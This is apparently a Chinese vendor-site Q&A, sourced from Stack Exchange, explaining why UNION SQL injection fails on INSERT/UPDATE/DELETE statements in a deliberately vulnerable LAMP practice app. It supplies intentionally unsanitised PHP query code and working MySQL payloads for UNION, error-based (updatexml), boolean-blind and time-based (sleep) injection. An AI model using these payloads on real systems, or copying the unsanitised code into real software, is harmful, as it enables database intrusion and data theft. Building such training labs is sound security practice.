You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

为何LAMP应用的UNION注入Payload无效?是否需调整逻辑?

问题核心分析

你的思路之所以行不通,是因为UNION注入只适用于有结果集返回的SELECT查询语句,而你当前的操作是增、改、删(INSERT/UPDATE/DELETE)这类DML语句——这类语句本身不返回查询结果,UNION SELECT的语法逻辑根本无法在DML语句中生效。

如何调整实现可利用的注入

1. 新增查询功能实现UNION注入

要让UNION注入可用,必须给应用添加用户可控输入参与SELECT查询,且查询结果会回显到前端的逻辑。比如添加一个"按VIN查询里程"的功能,后端代码写成完全无防护的动态拼接形式:

// 前端传入查询用的VIN参数
$query_vin = $_POST['query_vin'];
// 动态拼接SELECT语句
$sql = "SELECT vin, mileage FROM cars WHERE vin = '$query_vin'";
$result = mysqli_query($conn, $sql);
// 将查询结果输出到前端页面
while ($row = mysqli_fetch_assoc($result)) {
    echo "VIN: {$row['vin']},里程:{$row['mileage']}<br>";
}

此时就可以构造有效UNION注入Payload了,比如输入:
123' UNION SELECT user(), version()--
拼接后的SQL为:

SELECT vin, mileage FROM cars WHERE vin = '123' UNION SELECT user(), version()-- '

因为前后两个SELECT的列数一致(都是2列),数据库会合并结果集,前端就能直接显示出数据库用户名和版本信息,UNION注入成功。

2. 针对现有增改删语句实现其他类型注入

如果不想新增查询功能,也可以基于现有DML语句构造可利用的注入,比如:

报错注入

利用MySQL的报错函数(如updatexml)触发数据库报错,让敏感信息随错误提示泄露。比如在VIN参数中输入:
123' OR updatexml(1, concat(0x7e, user(), 0x7e), 1)--
拼接后的SQL会触发报错,若前端显示数据库错误信息,就能直接看到当前数据库用户。

布尔盲注

通过构造条件判断语句,利用"插入成功/失败"的差异来猜解数据。比如判断数据库用户名首字符是否为'r':
123' AND SUBSTRING(user(),1,1)='r'--
若条件为真,数据正常插入;若为假,插入失败。通过反复调整条件,就能逐步猜解出完整的敏感数据。

时间盲注

通过sleep()函数的延迟效果判断条件真假,比如:
123' AND IF(SUBSTRING(user(),1,1)='r', sleep(5), 0)--
如果页面加载延迟5秒,说明条件成立,反之则不成立。

额外注意事项
  • 要确保PHP代码完全不做输入转义(比如不能用mysqli_real_escape_string)、不使用预处理语句,否则注入会被阻断。
  • MySQL 8.0中,updatexml等报错函数仍可使用,但注意其返回内容有长度限制,过长的数据需要分段获取。
  • 若前端不显示错误信息,盲注是唯一可行的方向,时间盲注无需页面回显差异,适用性更强。

内容的提问来源于stack exchange,提问作者Guy

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.28 14:14:59